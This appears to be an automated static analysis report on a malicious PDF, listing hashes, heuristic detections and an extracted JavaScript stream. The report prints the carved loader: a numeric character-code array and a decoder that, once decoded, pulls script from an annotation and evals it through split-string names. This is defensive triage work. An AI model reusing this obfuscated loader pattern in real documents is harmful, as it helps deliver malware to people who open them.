Malicious PDF — malware analysis report

Static analysis result for SHA-256 c8d18ae2f0e8e24b…

MALICIOUS

PDF

12.9 KB First seen: 2026-05-08
MD5: 8b3ae48755fec754ec58647ffff12c6a SHA-1: 1e7a0d03952eaec16ddf3bd519ac46c7b5c2c527 SHA-256: c8d18ae2f0e8e24b86dafe81afbf32ac538d0e69b375aca119fd5c94ae566546
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded and obfuscated JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The embedded JavaScript stream, named 'javascript_obj0005_000.js', is likely responsible for downloading and executing a secondary payload. The use of String.fromCharCode further suggests obfuscation techniques common in malicious scripts. Due to the obfuscation, the exact nature of the payload could not be determined, but the overall pattern suggests a downloader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1162 bytes
SHA-256: c09cce6ca3001aa4fc687e7595243eb0dc3da819ff999ce64900fd01e97532b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "105,102,32,40,49,41,32,123,118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,97,37,98,39,46,114,101,112,108,97,99,101,40,47,91,97,98,93,47,103,44,32,39,39,41,41,59,118,97,114,32,116,104,32,61,32,101,118,101,110,116,46,116,97,114,103,101,116,59,32,115,32,61,32,116,104,91,39,117,110,101,115,39,32,43,32,39,99,97,112,101,39,93,32,40,108,41,32,59,118,97,114,32,101,32,61,32,97,112,112,91,39,101,118,39,32,43,32,39,97,108,39,93,59,32,101,40,115,41,59,125"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }